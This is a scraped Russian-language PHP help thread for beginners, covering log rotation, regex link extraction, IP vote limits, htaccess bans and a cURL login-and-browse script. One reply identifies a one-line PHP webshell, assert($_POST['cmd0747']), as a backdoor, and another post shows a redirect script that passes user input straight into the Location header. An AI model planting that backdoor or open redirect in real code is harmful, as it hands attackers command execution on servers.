[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. PoliGroS

    PoliGroS Member

    Joined:
    29 Mar 2012
    Messages:
    79
    Likes Received:
    8
    Reputations:
    0
    что за чертовщина? Спасибо
     
  2. mustedlife

    mustedlife New Member

    Joined:
    31 Jan 2013
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    PHP:
    <?php assert($_POST['cmd0747']);?>
    http://php.net/manual/ru/function.assert.php
    итог: бэкдор
     
    #22322 mustedlife, 25 Nov 2014
    Last edited: 25 Nov 2014
  3. Fanks

    Fanks New Member

    Joined:
    11 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Добрый день. Есть файл на FTP сервере, который обновляется каждые 2 недели и должен отображаться на веб-странице. Проблема в том, что обновленные файлы сохраняются постоянно в разном формате и под разными именами (но всегда имеют схожести в названии, например в имени всегда присутствуют цифры '125'). Можно ли как-нибудь настроить поиск этого файла на сервере по известным данным (125) и обновлять его на веб-странице по новому имени?
     
  4. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    Есть код голосования,но,к сожалению, отсутствует защита на ограничение оценивания,т.е можно голосовать бесконечное кол-во раз. Мне нужно исправить это,чтобы можно было голосовать 1 раз с одного IP
     
  5. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    определяете ip, заносите в бд, затем проверяете, есть и этот ip там. также можно добавлять куку, например VOTE=1. но от автоматизации это не спасет — советую добавить капчу.
     
    _________________________
  6. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    записываю лог сайта в файл, есть проблема переодически файлы пустые становятся, так как хост слабый и когда файл растёт - то возможно хост затирает файл
    пишется в файл так:
    PHP:
    $file_log=$_SERVER['DOCUMENT_ROOT'] .'/log.txt';//файл с логом
    $col_zap_log=60//строк в файле не более
    $lines file($file_log);
    while(
    count($lines) > $col_zap_logarray_shift($lines);
    $lines[] = 'контент'."\r\n";
    file_put_contents($file_log$linesLOCK_EX); // конец записи в файл
    можно ли сделать так, что например при достижении 60 строк, этот файл переименовывался, например log_дата_время_последнего_изменения.txt - как архивный будет, а запись продолжалась в этот же файл log.txt , созданый пустым после переименования ?
    помогите пожалуйста с реализацией :confused:
     
  7. say1ted

    say1ted New Member

    Joined:
    6 Dec 2013
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Текущий log.txt тебе придется очищать, чтобы архивы не создавались постоянно как только > 60 строк. Типа:
    Если log.txt больше 60 строк:
    - переименовать log.txt в дата-время.txt

    В пхп не силен ( Но копировать эти строку куда-то точно не стоит.
     
  8. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    PHP:
    <?php
        $file 
    'log.txt';
        
    $max_lines 60;
        
    $linecount 0;
        
    $handle fopen($file"r");
            
            while(!
    feof($handle)){
                
    $line fgets($handle);
                    
    $linecount++;
            }
        
            
    fclose($handle);
        
        if(
    $linecount $max_lines) {
            
    rename($filedate('Y-m-d-H-i-s').".txt") or die('error');
            
    touch('log.txt');
            
        }
        
    ?>
     
    1 person likes this.
  9. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    Здравствуйте уважаемые
    имеется код http://7269697.tk/1.txt
    в нем необходимо оставить лишь ссылки
    вида
    <a class="avatar" href="http://promodj.com/163416029365">

    как правильно это сделать?
     
  10. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Попросили запостить

     
  11. ZeV$

    ZeV$ Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    40
    Likes Received:
    10
    Reputations:
    3
     
    1 person likes this.
  12. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    Регулярные выражения
     
  13. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    Всем привет!

    суть проблемы в том, что файл htaccess в корне сайта содержит конфиги, и записывать в него строки php скриптом опасно, так как бывает хостинг стирает все данные когда зависает в процессе добавления.
    было бы замечательно если можно было брать ip забаненых из txt списка и что бы в htaccess он подставлялся в блок бана.
    как осуществить бан Ip адресов и подсетей в htaccess с помощью php?



    требуется прописать в переменную имя папок -где лежит скрипт, а скрипт лежит глубоко в папках
    например:
    http://site.ru/papka1/papka2/papka3/script.php
    нужно все папки подхватить в переменную: papka1/papka2/papka3
    как это можно сделать ?


    как можно запомнить select list, хочу всё в cookie записать, данный лист фиксированый, но как правильно к нему подставлять после отправки формы значение selected, что бы значение после нажатия на кнопку было то которое было выбрано и отправлено нажатием кнопки ?
     
    #22333 GAiN, 8 Dec 2014
    Last edited: 8 Feb 2015
  14. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    немогли бы показать как именно? я знаю что регулярками, но к сожалению я их абсолютно не понимаю

    уважте сударь :)
     
  15. say1ted

    say1ted New Member

    Joined:
    6 Dec 2013
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Выражение
    Code:
    <a class="avatar" href="([^"]+)">
    
    Использовать для js можно так, например:
    Code:
    text.match(/<a class="avatar" href="([^"]+)">/g);
    
    Типа открыл браузером http://7269697.tk/1.txt и в консоли js пишешь:
    Code:
    document.children[0].textContent.match(/<a class="avatar" href="([^"]+)">/g);
    
     
  16. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    а как на пхп в скрипте это выполнить?
    у меня переменная в которой этот файл


    и еще вопрос в догонку, есть скрипт

    PHP:
    <?php
    $url 
    'http://promodj.com';                                // URL сайта на котором будем авторизоваться 
    $urlTo 'http://promodj.com/login';                               // URL на которой будем слать POST данные
    $login '1';                          // Ваш логин 
    $pass '1';                                     // Ваш пароль 
    $post 'backto=promodj.com&unsafeip=1&remember=1&login='.$login.'&password='.$pass;  // POST данные 

    $ch curl_init();                              // Инициализируем сеанс CURL 
    curl_setopt($chCURLOPT_URL$url);  // Заходим на сайт 
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue); // Делаем так, чтобы страница не выдавалась сразу в поток, а можно было ее записать в переменную
    $html curl_exec($ch);                         // Имитируем заход на сайт 

    curl_setopt($chCURLOPT_URL$urlTo);              // Устанавливаем адрес куда будем слать POST данные 
    curl_setopt($chCURLOPT_COOKIEJAR'cookie.txt');  // Записываем cookies в файл, чтобы потом можно было их считать
    curl_setopt($chCURLOPT_COOKIEFILE'cookie.txt'); // Теперь читаем cookies с файла 
    curl_setopt($chCURLOPT_POSTtrue);               // Говорим, что информация будет отправляться методом POST 
    curl_setopt($chCURLOPT_POSTFIELDS$post);        // Передаем POST данные 
         // Иногда бывает, что после отправки данных происходит редирект heaer('Location:...').  
    // Этот параметр говорит о то, чтобы мы следовали за ними, а не оставались на месте после отправки данных


    $html curl_exec($ch); // Записываем пришедшие данные в переменную  
    curl_close($ch);        // Закрываем сеанс работы CURL 
    echo $html;             // И вуаля :) Выводим авторизованную страницу 
    ?>
    как заставить его после авторизации переходить на страницу http://promodj.com/djs?searchfor=&sortby=date&addressID=&onlinenow=1 не теряя авторизации?
     
    #22336 Vinsik, 9 Dec 2014
    Last edited: 9 Dec 2014
  17. say1ted

    say1ted New Member

    Joined:
    6 Dec 2013
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Не знаю я пхп, но видмо вот так:

    Code:
    <?php
    $subject = "тут файл";
    $pattern = '<a class="avatar" href="([^"]+)">';
    preg_match($pattern, $subject, $matches);
    print_r($matches);
    ?>
    
     
    1 person likes this.
  18. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    вообщем с переменными и циклом разобрался
    вопрос следующий:
    вот скрипт авторизации

    PHP:
    <?php 
    $url 
    'http://promodj.com';                                // URL сайта на котором будем авторизоваться  
    $urlTo 'http://promodj.com/login';                               // URL на которой будем слать POST данные 
    $login '1';                          // Ваш логин  
    $pass '1';                                     // Ваш пароль  
    $post 'backto=promodj.com&unsafeip=1&remember=1&login='.$login.'&password='.$pass;  // POST данные  

    $ch curl_init();                              // Инициализируем сеанс CURL  
    curl_setopt($chCURLOPT_URL$url);  // Заходим на сайт  
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);  
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue); // Делаем так, чтобы страница не выдавалась сразу в поток, а можно было ее записать в переменную 
    $html curl_exec($ch);                         // Имитируем заход на сайт  

    curl_setopt($chCURLOPT_URL$urlTo);              // Устанавливаем адрес куда будем слать POST данные  
    curl_setopt($chCURLOPT_COOKIEJAR'cookie.txt');  // Записываем cookies в файл, чтобы потом можно было их считать 
    curl_setopt($chCURLOPT_COOKIEFILE'cookie.txt'); // Теперь читаем cookies с файла  
    curl_setopt($chCURLOPT_POSTtrue);               // Говорим, что информация будет отправляться методом POST  
    curl_setopt($chCURLOPT_POSTFIELDS$post);        // Передаем POST данные  
         // Иногда бывает, что после отправки данных происходит редирект heaer('Location:...').   
    // Этот параметр говорит о то, чтобы мы следовали за ними, а не оставались на месте после отправки данных 


    $html curl_exec($ch); // Записываем пришедшие данные в переменную   
    curl_close($ch);        // Закрываем сеанс работы CURL  
    echo $html;             // И вуаля :) Выводим авторизованную страницу  
    ?>
    как с помощью этого скрипта не выходя из аккаунта к примеру перейти на страницу http://promodj.com/djs?onlinenow=1&sortby=date&page=11
     
  19. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    php 301 редирект и реферер

    location redirect на php странный, когда редирект 301 идёт внутри сайта, то реферер не передаёт, если проксирую ссылку через него же - то передаётся

    в чём подвох тогда ?

    PHP:
    <?php
    $url 
    preg_replace("/[^a-z0-9\/\.\_\?\=\&]/i"""$_GET['url']);
    $redirect 'http://'.$url;
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: $redirect");
    ?>
     
  20. pavl1k_fan@mail.ru

    [email protected] New Member

    Joined:
    3 Jul 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0

    PHP:
    <?php 
    $url 
    'http://promodj.com';                                // URL сайта на котором будем авторизоваться  
    $urlTo 'http://promodj.com/login';                               // URL на которой будем слать POST данные 
    $login '1';                          // Ваш логин  
    $pass '1';                                     // Ваш пароль  
    $post 'backto=promodj.com&unsafeip=1&remember=1&login='.$login.'&password='.$pass;  // POST данные  

    $ch curl_init();                              // Инициализируем сеанс CURL  
    curl_setopt($chCURLOPT_URL$url);  // Заходим на сайт  
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);  // Иногда бывает, что после отправки данных происходит редирект heaer('Location:...'). Этот параметр говорит о то, чтобы мы следовали за ними, а не оставались на месте после отправки данных 
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue); // Делаем так, чтобы страница не выдавалась сразу в поток, а можно было ее записать в переменную 
    $html curl_exec($ch);                         // Имитируем заход на сайт  

    curl_setopt($chCURLOPT_URL$urlTo);              // Устанавливаем адрес куда будем слать POST данные  
    curl_setopt($chCURLOPT_COOKIEJAR'cookie.txt');  // Записываем cookies в файл, чтобы потом можно было их считать 
    curl_setopt($chCURLOPT_COOKIEFILE'cookie.txt'); // Теперь читаем cookies с файла  
    curl_setopt($chCURLOPT_POSTtrue);               // Говорим, что информация будет отправляться методом POST  
    curl_setopt($chCURLOPT_POSTFIELDS$post);        // Передаем POST данные 
    $html curl_exec($ch); // Записываем пришедшие данные в переменную   

    curl_setopt($chCURLOPT_URL"http://promodj.com/djs?onlinenow=1&sortby=date&page=11");              // Устанавливаем адрес куда будем слать POST данные  
    curl_setopt($chCURLOPT_COOKIEJAR'cookie.txt');  // Записываем cookies в файл, чтобы потом можно было их считать 
    curl_setopt($chCURLOPT_COOKIEFILE'cookie.txt'); // Теперь читаем cookies с файла  
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue); // Делаем так, чтобы страница не выдавалась сразу в поток, а можно было ее записать в переменную 


    $html curl_exec($ch); // Записываем пришедшие данные в переменную   
    curl_close($ch);        // Закрываем сеанс работы CURL  
    echo $html;             // И вуаля :) Выводим авторизованную страницу  (djs?onlinenow=1&sortby=date&page=11)
    ?>
    Советую сделать отдельную ф-ию, которая будет совершать ВСЕ запросы (get, post, cookies) в зависимости от входных параметров :)
     
Thread Status:
Not open for further replies.